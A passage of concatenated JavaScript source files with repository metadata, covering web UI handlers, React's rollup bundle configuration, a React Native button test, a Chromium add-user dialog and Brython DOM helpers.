        '/links/modal-edit', '#link_form', '.links-table', function(response){
        $('tr#link_'+response.id+'>.link-url').html(response.url);
        $('tr#link_'+response.id+'>.link-description').html(response.description);
    });
});
$(document).on('click', '.btn-delete-link', function (event) {
    DeleteItem($(event.currentTarget), '/links/delete', '#link_');
}); | 
	kalny/portfolio | 
	web/js/links.js | 
	JavaScript | 
	bsd-3-clause | 531 | 
| 
	"use strict";
var JumpGateTravelCapability = require("./JumpGateTravelCapability");
/**
 * This namespace contains helper regarding the jump gate travel capability.
 *
 * @namespace jumpGate
 * @memberof everoute.travel.capabilities
 */
/**
 * The type identification for the jumps: "jumpGate".
 *
 * @type {String}
 * @const
 * @memberof everoute.travel.capabilities.jumpGate
 */
var JUMP_TYPE = JumpGateTravelCapability.JUMP_TYPE;
module.exports = {
  JUMP_TYPE: JUMP_TYPE,
  JumpGateTravelCapability: JumpGateTravelCapability
};
 | 
	dertseha/eve-route.js | 
	src/travel/capabilities/jumpGate/index.js | 
	JavaScript | 
	bsd-3-clause | 537 | 
| 
	'use strict';
const bundleTypes = {
  UMD_DEV: 'UMD_DEV',
  UMD_PROD: 'UMD_PROD',
  NODE_DEV: 'NODE_DEV',
  NODE_PROD: 'NODE_PROD',
  FB_DEV: 'FB_DEV',
  FB_PROD: 'FB_PROD',
  RN_DEV: 'RN_DEV',
  RN_PROD: 'RN_PROD',
};
const UMD_DEV = bundleTypes.UMD_DEV;
const UMD_PROD = bundleTypes.UMD_PROD;
const NODE_DEV = bundleTypes.NODE_DEV;
const NODE_PROD = bundleTypes.NODE_PROD;
const FB_DEV = bundleTypes.FB_DEV;
const FB_PROD = bundleTypes.FB_PROD;
const RN_DEV = bundleTypes.RN_DEV;
const RN_PROD = bundleTypes.RN_PROD;
const babelOptsReact = {
  exclude: 'node_modules/**',
  presets: [],
  plugins: [],
};
const babelOptsReactART = Object.assign({}, babelOptsReact, {
  // Include JSX
  presets: babelOptsReact.presets.concat([
    require.resolve('babel-preset-react'),
  ]),
});
const bundles = [
  /******* Isomorphic *******/
  {
    babelOpts: babelOptsReact,
    bundleTypes: [UMD_DEV, UMD_PROD, NODE_DEV, NODE_PROD, FB_DEV, FB_PROD],
    config: {
      destDir: 'build/',
      moduleName: 'React',
      sourceMap: false,
    },
    entry: 'src/isomorphic/React.js',
    externals: [
      'create-react-class/factory',
      'prop-types',
      'prop-types/checkPropTypes',
    ],
    fbEntry: 'src/fb/ReactFBEntry.js',
    hasteName: 'React',
    isRenderer: false,
    label: 'core',
    manglePropertiesOnProd: false,
    name: 'react',
    paths: [
      'src/isomorphic/**/*.js',
      'src/addons/**/*.js',
      'src/ReactVersion.js',
      'src/shared/**/*.js',
    ],
  },
  /******* React DOM *******/
  {
    babelOpts: babelOptsReact,
    bundleTypes: [UMD_DEV, UMD_PROD, NODE_DEV, NODE_PROD, FB_DEV, FB_PROD],
    config: {
      destDir: 'build/',
      globals: {
        react: 'React',
      },
      moduleName: 'ReactDOM',
      sourceMap: false,
    },
    entry: 'src/renderers/dom/fiber/ReactDOMFiber.js',
    externals: ['prop-types', 'prop-types/checkPropTypes'],
    fbEntry: 'src/fb/ReactDOMFiberFBEntry.js',
    hasteName: 'ReactDOMFiber',
    isRenderer: true,
    label: 'dom-fiber',
    manglePropertiesOnProd: false,
    name: 'react-dom',
    paths: [
      'src/renderers/dom/**/*.js',
      'src/renderers/shared/**/*.js',
      'src/ReactVersion.js',
      'src/shared/**/*.js',
    ],
  },
  {
    babelOpts: babelOptsReact,
    bundleTypes: [FB_DEV, NODE_DEV],
    config: {
      destDir: 'build/',
      globals: {
        react: 'React',
      },
      moduleName: 'ReactTestUtils',
      sourceMap: false,
    },
    entry: 'src/renderers/dom/test/ReactTestUtils',
    externals: [
      'prop-types',
      'prop-types/checkPropTypes',
      'react',
      'react-dom',
      'react-test-renderer', // TODO (bvaughn) Remove this dependency before 16.0.0
    ],
    fbEntry: 'src/renderers/dom/test/ReactTestUtils',
    hasteName: 'ReactTestUtils',
    isRenderer: true,
    label: 'test-utils',
    manglePropertiesOnProd: false,
    name: 'react-dom/test-utils',
    paths: [
      'src/renderers/dom/test/**/*.js',
      'src/renderers/shared/**/*.js',
      'src/renderers/testing/**/*.js', // TODO (bvaughn) Remove this dependency before 16.0.0
      'src/ReactVersion.js',
      'src/shared/**/*.js',
    ],
  },
  /******* React DOM Server *******/
  {
    babelOpts: babelOptsReact,
    bundleTypes: [FB_DEV, FB_PROD],
    config: {
      destDir: 'build/',
      globals: {
        react: 'React',
      },
      moduleName: 'ReactDOMServer',
      sourceMap: false,
    },
    entry: 'src/renderers/dom/ReactDOMServer.js',
    externals: ['prop-types', 'prop-types/checkPropTypes'],
    fbEntry: 'src/renderers/dom/ReactDOMServer.js',
    hasteName: 'ReactDOMServerStack',
    isRenderer: true,
    label: 'dom-server-stack',
    manglePropertiesOnProd: false,
    name: 'react-dom-stack/server',
    paths: [
      'src/renderers/dom/**/*.js',
      'src/renderers/shared/**/*.js',
      'src/ReactVersion.js',
      'src/shared/**/*.js',
    ],
  },
  {
    babelOpts: babelOptsReact,
    bundleTypes: [UMD_DEV, UMD_PROD, NODE_DEV, NODE_PROD, FB_DEV, FB_PROD],
    config: {
      destDir: 'build/',
      globals: {
        react: 'React',
      },
      moduleName: 'ReactDOMServer',
      sourceMap: false,
    },
    entry: 'src/renderers/dom/ReactDOMServerStream.js',
    externals: ['prop-types', 'prop-types/checkPropTypes'],
    fbEntry: 'src/renderers/dom/ReactDOMServerStream.js',
    hasteName: 'ReactDOMServerStream',
    isRenderer: true,
    label: 'dom-server-stream',
    manglePropertiesOnProd: false,
    name: 'react-dom/server',
    paths: [
      'src/renderers/dom/**/*.js',
      'src/renderers/shared/**/*.js',
      'src/ReactVersion.js',
      'src/shared/**/*.js',
    ],
  },
  /******* React ART *******/
  {
    babelOpts: babelOptsReactART,
    // TODO: we merge react-art repo into this repo so the NODE_DEV and NODE_PROD
    // builds sync up to the building of the package directories
    bundleTypes: [UMD_DEV, UMD_PROD, NODE_DEV, NODE_PROD, FB_DEV, FB_PROD],
    config: {
      destDir: 'build/',
      globals: {
        react: 'React',
      },
      moduleName: 'ReactART',
      sourceMap: false,
    },
    entry: 'src/renderers/art/ReactARTFiber.js',
    externals: [
      'art/modes/current',
      'art/modes/fast-noSideEffects',
      'art/core/transform',
      'prop-types/checkPropTypes',
      'react-dom',
    ],
    fbEntry: 'src/renderers/art/ReactARTFiber.js',
    hasteName: 'ReactARTFiber',
    isRenderer: true,
    label: 'art-fiber',
    manglePropertiesOnProd: false,
    name: 'react-art',
    paths: [
      'src/renderers/art/**/*.js',
      'src/renderers/shared/**/*.js',
      'src/ReactVersion.js',
      'src/shared/**/*.js',
    ],
  },
  /******* React Native *******/
  {
    babelOpts: babelOptsReact,
    bundleTypes: [RN_DEV, RN_PROD],
    config: {
      destDir: 'build/',
      moduleName: 'ReactNativeStack',
      sourceMap: false,
    },
    entry: 'src/renderers/native/ReactNativeStack.js',
    externals: [
      'ExceptionsManager',
      'InitializeCore',
      'ReactNativeFeatureFlags',
      'RCTEventEmitter',
      'TextInputState',
      'UIManager',
      'View',
      'deepDiffer',
      'deepFreezeAndThrowOnMutationInDev',
      'flattenStyle',
      'prop-types/checkPropTypes',
    ],
    hasteName: 'ReactNativeStack',
    isRenderer: true,
    label: 'native-stack',
    manglePropertiesOnProd: false,
    name: 'react-native-renderer',
    paths: [
      'src/renderers/native/**/*.js',
      'src/renderers/shared/**/*.js',
      'src/ReactVersion.js',
      'src/shared/**/*.js',
    ],
    useFiber: false,
    modulesToStub: [
      "'createReactNativeComponentClassFiber'",
      "'ReactNativeFiberRenderer'",
      "'findNumericNodeHandleFiber'",
      "'ReactNativeFiber'",
    ],
  },
  {
    babelOpts: babelOptsReact,
    bundleTypes: [RN_DEV, RN_PROD],
    config: {
      destDir: 'build/',
      moduleName: 'ReactNativeFiber',
      sourceMap: false,
    },
    entry: 'src/renderers/native/ReactNativeFiber.js',
    externals: [
      'ExceptionsManager',
      'InitializeCore',
      'ReactNativeFeatureFlags',
      'RCTEventEmitter',
      'TextInputState',
      'UIManager',
      'View',
      'deepDiffer',
      'deepFreezeAndThrowOnMutationInDev',
      'flattenStyle',
      'prop-types/checkPropTypes',
    ],
    hasteName: 'ReactNativeFiber',
    isRenderer: true,
    label: 'native-fiber',
    manglePropertiesOnProd: false,
    name: 'react-native-renderer',
    paths: [
      'src/renderers/native/**/*.js',
      'src/renderers/shared/**/*.js',
      'src/ReactVersion.js',
      'src/shared/**/*.js',
    ],
    useFiber: true,
    modulesToStub: [
      "'createReactNativeComponentClassStack'",
      "'findNumericNodeHandleStack'",
      "'ReactNativeStack'",
    ],
  },
  /******* React Test Renderer *******/
  {
    babelOpts: babelOptsReact,
    bundleTypes: [FB_DEV, NODE_DEV],
    config: {
      destDir: 'build/',
      moduleName: 'ReactTestRenderer',
      sourceMap: false,
    },
    entry: 'src/renderers/testing/ReactTestRendererFiber',
    externals: ['prop-types/checkPropTypes'],
    fbEntry: 'src/renderers/testing/ReactTestRendererFiber',
    hasteName: 'ReactTestRendererFiber',
    isRenderer: true,
    label: 'test-fiber',
    manglePropertiesOnProd: false,
    name: 'react-test-renderer',
    paths: [
      'src/renderers/native/**/*.js',
      'src/renderers/shared/**/*.js',
      'src/renderers/testing/**/*.js',
      'src/ReactVersion.js',
      'src/shared/**/*.js',
    ],
  },
  {
    babelOpts: babelOptsReact,
    bundleTypes: [FB_DEV, NODE_DEV],
    config: {
      destDir: 'build/',
      moduleName: 'ReactTestRenderer',
      sourceMap: false,
    },
    entry: 'src/renderers/testing/stack/ReactTestRendererStack',
    externals: ['prop-types/checkPropTypes'],
    fbEntry: 'src/renderers/testing/stack/ReactTestRendererStack',
    hasteName: 'ReactTestRendererStack',
    isRenderer: true,
    label: 'test-stack',
    manglePropertiesOnProd: false,
    name: 'react-test-renderer/stack',
    paths: [
      'src/renderers/native/**/*.js',
      'src/renderers/shared/**/*.js',
      'src/renderers/testing/**/*.js',
      'src/ReactVersion.js',
      'src/shared/**/*.js',
    ],
  },
  {
    babelOpts: babelOptsReact,
    bundleTypes: [FB_DEV, NODE_DEV],
    config: {
      destDir: 'build/',
      moduleName: 'ReactShallowRenderer',
      sourceMap: false,
    },
    entry: 'src/renderers/testing/ReactShallowRenderer',
    externals: [
      'react-dom',
      'prop-types/checkPropTypes',
      'react-test-renderer',
    ],
    fbEntry: 'src/renderers/testing/ReactShallowRenderer',
    hasteName: 'ReactShallowRenderer',
    isRenderer: true,
    label: 'shallow-renderer',
    manglePropertiesOnProd: false,
    name: 'react-test-renderer/shallow',
    paths: ['src/renderers/shared/**/*.js', 'src/renderers/testing/**/*.js'],
  },
  /******* React Noop Renderer (used only for fixtures/fiber-debugger) *******/
  {
    babelOpts: babelOptsReact,
    bundleTypes: [NODE_DEV],
    config: {
      destDir: 'build/',
      globals: {
        react: 'React',
      },
      moduleName: 'ReactNoop',
      sourceMap: false,
    },
    entry: 'src/renderers/noop/ReactNoop.js',
    externals: ['prop-types/checkPropTypes'],
    isRenderer: true,
    label: 'noop-fiber',
    manglePropertiesOnProd: false,
    name: 'react-noop-renderer',
    paths: [
      'src/renderers/noop/**/*.js',
      'src/renderers/shared/**/*.js',
      'src/ReactVersion.js',
      'src/shared/**/*.js',
    ],
  },
];
module.exports = {
  bundleTypes,
  bundles,
};
 | 
	edvinerikson/react | 
	scripts/rollup/bundles.js | 
	JavaScript | 
	bsd-3-clause | 10,623 | 
| 
	$(document).ready(function() {
  // function loadStratumEntryTable() {
  //   var createStratumBtn = document.querySelector('button[data-bind="click: createStratum"]');
  //   console.log(createStratumBtn);
  //   if (createStratumBtn) {
  //     createStratumBtn.click();
  //     window.clearTimeout();
  //   } else {
  //     window.setTimeout(function() {
  //       loadStratumEntryTable();
  //     }, 1000);
  //   }
  // }
  // not sure why jquery says dom is ready but click() won't work without settimeout below
  // best guess is the knockout observables are not ready yet
  // TODO: Find a better way than settimeout
  // window.setTimeout(function() {
  //   loadStratumEntryTable();
  // }, 1000);
  $('.field-species select').on('change', function(e) {
    var species = e.currentTarget.value;
    var row_id = e.currentTarget.id.split('-')[1];
    var size_class_selector = $('#id_form-'+ row_id + '-size_class');
    var size_select_values = {};
    if (species.length > 0) {
      var size_classes = choice_json.filter(function(o){return o.species == species;} )[0].size_classes;
      for (var i=0; i < size_classes.length; i++) {
        size_select_values["("+ size_classes[i].min + ", " + size_classes[i].max + ")"] = size_classes[i].min + '" to ' + size_classes[i].max + '"';
      }
    }
    if(size_class_selector.prop) {
      var options = size_class_selector.prop('options');
    } else {
      var options = size_class_selector.attr('options');
    }
    $('option', size_class_selector).remove();
    $.each(size_select_values, function(val, text) {
        options[options.length] = new Option(text, val);
    });
  });
});
total_forms = parseInt($('#id_form-TOTAL_FORMS').val());
initial_forms = parseInt($('#id_form-INITIAL_FORMS').val());
init_show = initial_forms > 2 ? initial_forms + 1 : 3;
form_show_index = init_show;
for (var i = 0; i < init_show; i++) {
  $('#formset-row-' + i).show();
}
submitForm = function() {
  $.ajax({
    type: "POST",
    url: $('#stand_strata_form').attr('action'),
    data: $('#stand_strata_form').serialize(),
    success: function(data){
      window.location = "/discovery/forest_profile/" + discovery_stand_uid + "/"
    }
  });
}
addRow = function() {
  if (form_show_index < total_forms) {
    $('#formset-row-' + form_show_index).show();
    form_show_index++;
  } else {
    alert('Cannot add more rows at this time. Please save and return to this form to add more.');
  }
}
 | 
	Ecotrust/forestplanner | 
	lot/discovery/static/discovery/js/strata.js | 
	JavaScript | 
	bsd-3-clause | 2,461 | 
| 
	define(["avalon","domReady!","mmRequest","text!./login.html"], function(avalon, domReady,mmRequest,login) {
    avalon.templateCache.login = login
    var loginVm = avalon.define({
        $id: "login",
        loginCheck: function(){
            window.location="/admin.html"
        }
    })
    avalon.vmodels.root.body = "login"
})
 | 
	michaelwang/study | 
	avalon/practice/avalon-test-ui/modules/login/login.js | 
	JavaScript | 
	bsd-3-clause | 339 | 
| 
	'use strict';
myApp.controller('registrationController', ['$scope', '$timeout', '$http', '$state', 'registrationCompleteService', function ($scope, $timeout, $http, $state, registrationCompleteService) {
    
    $scope.errorMessage = "";
    $scope.firstName = "";
    $scope.secondName = "";
    $scope.date = "";
    $scope.email = "";
    var existedEmail = false;
    
    $scope.submit = function() {
        if (!($scope.firstPassword === $scope.secondPassword)) { 
            showErrorMessage("Пароли не совпадают. Введите пароль еще раз");
        } else if (!$scope.registrationForm.$valid) { 
            showErrorMessage("Введены неверные данные. убедитесь что все поля не подсвечены красным");
        } else if (existedEmail) {
            showErrorMessage("Такой пользователь уже существует. Введите другой email");
        } else {
            $http({
              method: 'POST',
              url: '/userRegistration',
              data: {
                  firstName: $scope.firstName,
                  lastName: $scope.secondName,
                  birthDate: $scope.date,
                  email: $scope.email,
                  password: $scope.firstPassword
              }
            }).then(function successCallback(response) {
                if (response) {
                    registrationCompleteService.registrationCompleteFn();
                    $state.go("loginPageState");
                }
                // this callback will be called asynchronously
                // when the response is available
            }, function errorCallback(response) {
                showErrorMessage("Произошла ошибка на сервере, попробуйте еще раз чуть позже");
            });
        }
    }
    $scope.checkEmail = function() {
        if ($scope.registrationForm.email.$valid) {
            $http({
                method: 'POST',
                url: '/checkEmail',
                data: {
                    email: $scope.email,
                }
            }).then(function successCallback(response) {
                if (response.data) {
                    showErrorMessage("Такой пользователь уже существует. Введите другой email");
                    existedEmail = true;
                } else {
                    existedEmail = false;
                }
                // this callback will be called asynchronously
                // when the response is available
            }, function errorCallback(response) {
            });
        }
    }
    function showErrorMessage(errorMessage) { 
        $scope.errorMessage = errorMessage;
        $timeout(function() {
            $scope.errorMessage = "";
        }, 3000);
    }
}]); | 
	yslepianok/analysis_site | 
	views/tests/app/pages/src/login/src/registrationController.js | 
	JavaScript | 
	bsd-3-clause | 2,918 | 
| 
	(function($) {
    $(".media-library-picker-field").each(function() {
        var element = $(this);
        var multiple = element.data("multiple");
        var removeText = element.data("remove-text");
        var removePrompt = element.data("remove-prompt");
        var removeAllPrompt = element.data("remove-all-prompt");
        var editText = element.data("edit-text");
        var dirtyText = element.data("dirty-text");
        var pipe = element.data("pipe");
        var returnUrl = element.data("return-url");
        var addUrl = element.data("add-url");
        var promptOnNavigate = element.data("prompt-on-navigate");
        var showSaveWarning = element.data("show-save-warning");
        var addButton = element.find(".btn.add");
        var saveButton = element.find('.btn.save');
        var removeAllButton = element.find(".btn.remove");
        var template = 
            '<li><div data-id="{contentItemId}" class="media-library-picker-item"><div class="thumbnail">{thumbnail}<div class="overlay"><h3>{title}</h3></div></div></div><a href="#" data-id="{contentItemId}" class="media-library-picker-remove">' + removeText + '</a>' + pipe + '<a href="{editLink}?ReturnUrl=' + returnUrl + '">' + editText + '</a></li>';
        
        var refreshIds = function() {
            var id = element.find('.selected-ids');
            var ids = [];
            element.find(".media-library-picker-item").each(function () {
                ids.push($(this).attr("data-id"));
            });
            id.val(ids.join());
            var itemsCount = ids.length;
            
            if(!multiple && itemsCount > 0) {
                addButton.hide();
                saveButton.show();
            }
            else {
                addButton.show();
                saveButton.hide();
            }
            if(itemsCount > 1) {
                removeAllButton.show();
            }
            else {
                removeAllButton.hide();
            }
        };
        var showSaveMsg = function () {
            if (!showSaveWarning)
                return;
            element.find('.media-library-picker-message').show();
            window.mediaLibraryDirty = true;
        };
        window.mediaLibraryDirty = false;
        if (promptOnNavigate) {    
            if (!window.mediaLibraryNavigateAway) {
                $(window).on("beforeunload", window.mediaLibraryNavigateAway = function() {
                    if (window.mediaLibraryDirty) {
                        return dirtyText;
                    }
                });
                element.closest("form").on("submit", function() {
                    window.mediaLibraryDirty = false;
                });
            }
        }
        refreshIds();
        
        addButton.click(function () {
            var url = addUrl;
            $.colorbox({
                href: url,
                iframe: true,
                reposition: true,
                width: "100%",
                height: "100%",
                onLoad: function() { // hide the scrollbars from the main window
                    $('html, body').css('overflow', 'hidden');
                    $('#cboxClose').remove();
                    element.trigger("opened");
                },
                onClosed: function() {
                    $('html, body').css('overflow', '');
                    var selectedData = $.colorbox.selectedData;
                    if (selectedData == null) { // Dialog cancelled, do nothing
                        element.trigger("closed");
                        return;
                    }
                    var selectionLength = multiple ? selectedData.length : Math.min(selectedData.length, 1);
                    
                    for (var i = 0; i < selectionLength ; i++) {
                        var tmpl = template
                            .replace(/\{contentItemId\}/g, selectedData[i].id)
                            .replace(/\{thumbnail\}/g, selectedData[i].thumbnail)
                            .replace(/\{title\}/g, selectedData[i].title)
                            .replace(/\{editLink\}/g, selectedData[i].editLink);
                        var content = $(tmpl);
                        element.find('.media-library-picker.items ul').append(content);
                    }
                    
                    refreshIds();
                    if (selectedData.length) {
                        showSaveMsg();
                    }
                    element.trigger("closed");
                }
            });
            
        });
        removeAllButton.click(function (e) {
            e.preventDefault();
            if (!confirm(removeAllPrompt)) return false;
            element.find('.media-library-picker.items ul').children('li').remove();
            refreshIds();
            showSaveMsg();
            return false;
        });
        element.on("click",'.media-library-picker-remove', function(e) {
            e.preventDefault();
            if (!confirm(removePrompt)) return false;
            $(this).closest('li').remove();
            refreshIds();
            showSaveMsg();
            return false;
        });
            
        element.find(".media-library-picker.items ul").sortable({
            handle: '.thumbnail',
            stop: function() {
                refreshIds();
                showSaveMsg();
            }
        }).disableSelection();
    });
})(jQuery); | 
	sfmskywalker/Orchard | 
	src/Orchard.Web/Modules/Orchard.MediaLibrary/Scripts/media-library-picker.js | 
	JavaScript | 
	bsd-3-clause | 5,488 | 
| 
	function unescapeURL(s) {
        return decodeURIComponent(s.replace(/\+/g, "%20"))
}
function getURLParams() {
    var params = {}
    var m = window.location.href.match(/[\\?&]([^=]+)=([^&#]*)/g)
    if (m) {
        for (var i = 0; i < m.length; i++) {
            var a = m[i].match(/.([^=]+)=(.*)/)
            params[unescapeURL(a[1])] = unescapeURL(a[2])
        }
    }
    return params
}
function submit() {
    $(".errmsg").text("");
    errors = false;
    $(".featureDropdown").each(function(index) {
       if ($(this).attr("value") == "default") {
           $(".errmsg", $(this).closest(".feature")).text("Please select a value");
           errors = true;
       }
    });
    if (!errors) {
        $("#form_turk").submit();
    }
}
$(document).ready(function() {
    var params = getURLParams();
    if (params.assignmentId && (params.assignmentId != "ASSIGNMENT_ID_NOT_AVAILABLE")) {      
        $('#assignmentId').attr('value', params.assignmentId);
        $("#submit_btn").click(function() {
            submit();
        });
    } else {
        $("#submit_btn").attr("disabled", "true");
        $(".featureDropdown").attr("disabled", "true");
    }
})
 | 
	marcua/qurk_experiments | 
	qurkexp/media/js/celeb_features.js | 
	JavaScript | 
	bsd-3-clause | 1,186 | 
| 
	import type Set from "../Set.js";
import everySet from "./everySet";
function equalsSet<T>(one: Set<T>, two: Set<T>): boolean {
	if (one.size !== two.size) {
		return false;
	}
	return everySet(one, value => two.has(value));
}
export default equalsSet;
 | 
	teasim/helpers | 
	source/functional/equalsSet.js | 
	JavaScript | 
	bsd-3-clause | 255 | 
| 
	/**
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 *
 * @emails oncall+react_native
 * @format
 */
/* global device, element, by, expect */
const {
  openComponentWithLabel,
  openExampleWithTitle,
} = require('../e2e-helpers');
describe('Button', () => {
  beforeAll(async () => {
    await device.reloadReactNative();
    await openComponentWithLabel(
      'Button',
      'Button Simple React Native button component.',
    );
  });
  it('Simple button should be tappable', async () => {
    await openExampleWithTitle('Simple Button');
    await element(by.id('simple_button')).tap();
    await expect(element(by.text('Simple has been pressed!'))).toBeVisible();
    await element(by.text('OK')).tap();
  });
  it('Adjusted color button should be tappable', async () => {
    await openExampleWithTitle('Adjusted color');
    await element(by.id('purple_button')).tap();
    await expect(element(by.text('Purple has been pressed!'))).toBeVisible();
    await element(by.text('OK')).tap();
  });
  it("Two buttons with JustifyContent:'space-between' should be tappable", async () => {
    await openExampleWithTitle('Fit to text layout');
    await element(by.id('left_button')).tap();
    await expect(element(by.text('Left has been pressed!'))).toBeVisible();
    await element(by.text('OK')).tap();
    await element(by.id('right_button')).tap();
    await expect(element(by.text('Right has been pressed!'))).toBeVisible();
    await element(by.text('OK')).tap();
  });
  it('Disabled button should not interact', async () => {
    await openExampleWithTitle('Disabled Button');
    await element(by.id('disabled_button')).tap();
    await expect(
      element(by.text('Disabled has been pressed!')),
    ).toBeNotVisible();
  });
});
 | 
	hoangpham95/react-native | 
	packages/rn-tester/e2e/__tests__/Button-test.js | 
	JavaScript | 
	bsd-3-clause | 1,885 | 
| 
	// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
 * @fileoverview
 * 'settings-users-add-user-dialog' is the dialog shown for adding new allowed
 * users to a ChromeOS device.
 */
(function() {
/**
 * Regular expression for adding a user where the string provided is just
 * the part before the "@".
 * Email alias only, assuming it's a gmail address.
 *     e.g. 'john'
 * @type {!RegExp}
 */
const NAME_ONLY_REGEX =
    new RegExp('^\\s*([\\w\\.!#\\$%&\'\\*\\+-\\/=\\?\\^`\\{\\|\\}~]+)\\s*$');
/**
 * Regular expression for adding a user where the string provided is a full
 * email address.
 *     e.g. '[email protected]'
 * @type {!RegExp}
 */
const EMAIL_REGEX = new RegExp(
    '^\\s*([\\w\\.!#\\$%&\'\\*\\+-\\/=\\?\\^`\\{\\|\\}~]+)@' +
    '([A-Za-z0-9\-]{2,63}\\..+)\\s*$');
/** @enum {number} */
const UserAddError = {
  NO_ERROR: 0,
  INVALID_EMAIL: 1,
  USER_EXISTS: 2,
};
Polymer({
  is: 'settings-users-add-user-dialog',
  behaviors: [I18nBehavior],
  properties: {
    /** @private */
    errorCode_: {
      type: Number,
      value: UserAddError.NO_ERROR,
    },
    /** @private */
    isEmail_: {
      type: Boolean,
      value: false,
    },
    /** @private */
    isEmpty_: {
      type: Boolean,
      value: true,
    },
  },
  usersPrivate_: chrome.usersPrivate,
  open() {
    this.$.addUserInput.value = '';
    this.onInput_();
    this.$.dialog.showModal();
    // Set to valid initially since the user has not typed anything yet.
    this.$.addUserInput.invalid = false;
  },
  /** @private */
  addUser_() {
    // May be submitted by the Enter key even if the input value is invalid.
    if (this.$.addUserInput.disabled) {
      return;
    }
    const input = this.$.addUserInput.value;
    const nameOnlyMatches = NAME_ONLY_REGEX.exec(input);
    let userEmail;
    if (nameOnlyMatches) {
      userEmail = nameOnlyMatches[1] + '@gmail.com';
    } else {
      const emailMatches = EMAIL_REGEX.exec(input);
      // Assuming the input validated, one of these two must match.
      assert(emailMatches);
      userEmail = emailMatches[1] + '@' + emailMatches[2];
    }
    this.usersPrivate_.isWhitelistedUser(userEmail, doesUserExist => {
      if (doesUserExist) {
        // This user email had been saved previously
        this.errorCode_ = UserAddError.USER_EXISTS;
        return;
      }
      this.$.dialog.close();
      this.usersPrivate_.addWhitelistedUser(
          userEmail,
          /* callback */ function(success) {});
      this.$.addUserInput.value = '';
    });
  },
  /**
   * @return {boolean}
   * @private
   */
  canAddUser_() {
    return this.isEmail_ && !this.isEmpty_;
  },
  /** @private */
  onCancelTap_() {
    this.$.dialog.cancel();
  },
  /** @private */
  onInput_() {
    const input = this.$.addUserInput.value;
    this.isEmail_ = NAME_ONLY_REGEX.test(input) || EMAIL_REGEX.test(input);
    this.isEmpty_ = input.length == 0;
    if (!this.isEmail_ && !this.isEmpty_) {
      this.errorCode_ = UserAddError.INVALID_EMAIL;
      return;
    }
    this.errorCode_ = UserAddError.NO_ERROR;
  },
  /**
   * @private
   * @return {boolean}
   */
  shouldShowError_() {
    return this.errorCode_ != UserAddError.NO_ERROR;
  },
  /**
   * @private
   * @return {string}
   */
  getErrorString_(errorCode_) {
    if (errorCode_ == UserAddError.USER_EXISTS) {
      return this.i18n('userExistsError');
    }
    // TODO errorString for UserAddError.INVALID_EMAIL crbug/1007481
    return '';
  },
});
})();
 | 
	endlessm/chromium-browser | 
	chrome/browser/resources/settings/chromeos/os_people_page/users_add_user_dialog.js | 
	JavaScript | 
	bsd-3-clause | 3,625 | 
| 
	;(function($B){
//eval($B.InjectBuiltins())
var _b_ = $B.builtins;
var object = _b_.object
var JSObject = $B.JSObject
var _window = self;
// cross-browser utility functions
function $getMouseOffset(target, ev){
    ev = ev || _window.event;
    var docPos    = $getPosition(target);
    var mousePos  = $mouseCoords(ev);
    return {x:mousePos.x - docPos.x, y:mousePos.y - docPos.y};
}
function $getPosition(e){
    var left = 0,
        top  = 0,
        width = e.width || e.offsetWidth,
        height = e.height || e.offsetHeight,
        scroll = document.scrollingElement.scrollTop
    while (e.offsetParent){
        left += e.offsetLeft
        top  += e.offsetTop
        e = e.offsetParent
    }
    left += e.offsetLeft || 0
    top  += e.offsetTop || 0
    if(e.parentElement){
        // eg SVG element inside an HTML element
        var parent_pos = $getPosition(e.parentElement)
        left += parent_pos.left
        top += parent_pos.top
    }
    return {left: left, top: top, width: width, height: height}
}
function trace(msg){
    var elt = document.getElementById("trace")
    if(elt){
        elt.innerText += msg
    }
}
function $mouseCoords(ev){
    if(ev.type.startsWith("touch")){
        var res = {}
        res.x = _b_.int.$factory(ev.touches[0].screenX)
        res.y = _b_.int.$factory(ev.touches[0].screenY)
        res.__getattr__ = function(attr){return this[attr]}
        res.__class__ = "MouseCoords"
        return res
    }
    var posx = 0,
        posy = 0
    if(!ev){var ev = _window.event}
    if(ev.pageX || ev.pageY){
        posx = ev.pageX
        posy = ev.pageY
    }else if(ev.clientX || ev.clientY){
        posx = ev.clientX + document.body.scrollLeft +
            document.documentElement.scrollLeft
        posy = ev.clientY + document.body.scrollTop +
            document.documentElement.scrollTop
    }
    var res = {}
    res.x = _b_.int.$factory(posx)
    res.y = _b_.int.$factory(posy)
    res.__getattr__ = function(attr){return this[attr]}
    res.__class__ = "MouseCoords"
    return res
}
var $DOMNodeAttrs = ["nodeName", "nodeValue", "nodeType", "parentNode",
    "childNodes", "firstChild", "lastChild", "previousSibling", "nextSibling",
    "attributes", "ownerDocument"]
$B.$isNode = function(o){
    // copied from http://stackoverflow.com/questions/384286/
    // javascript-isdom-how-do-you-check-if-a-javascript-object-is-a-dom-object
  return (
      typeof Node === "object" ? o instanceof Node :
      o && typeof o === "object" && typeof o.nodeType === "number" &&
      typeof o.nodeName === "string"
  )
}
$B.$isNodeList = function(nodes) {
    // copied from http://stackoverflow.com/questions/7238177/
    // detect-htmlcollection-nodelist-in-javascript
    try{
        var result = Object.prototype.toString.call(nodes)
        var re = new RegExp("^\\[object (HTMLCollection|NodeList)\\]$")
        return (typeof nodes === "object" &&
            re.exec(result) !== null &&
            nodes.length !== undefined &&
            (nodes.length == 0 ||
                (typeof nodes[0] === "object" && nodes[0].nodeType > 0))
        )
    }catch(err){
        return false
    }
}
var $DOMEventAttrs_W3C = ["NONE", "CAPTURING_PHASE", "AT_TARGET",
    "BUBBLING_PHASE", "type", "target", "currentTarget", "eventPhase",
    "bubbles", "cancelable", "timeStamp", "stopPropagation",
    "preventDefault", "initEvent"]
var $DOMEventAttrs_IE = ["altKey", "altLeft", "button", "cancelBubble",
    "clientX", "clientY", "contentOverflow", "ctrlKey", "ctrlLeft", "data",
    "dataFld", "dataTransfer", "fromElement", "keyCode", "nextPage",
    "offsetX", "offsetY", "origin", "propertyName", "reason", "recordset",
    "repeat", "screenX", "screenY", "shiftKey", "shiftLeft",
    "source", "srcElement", "srcFilter", "srcUrn", "toElement", "type",
    "url", "wheelDelta", "x", "y"]
$B.$isEvent = function(obj){
    var flag = true
    for(var i = 0; i < $DOMEventAttrs_W3C.length; i++){
        if(obj[$DOMEventAttrs_W3C[i]] === undefined){flag = false; break}
    }
    if(flag){return true}
    for(var i = 0; i < $DOMEventAttrs_IE.length; i++){
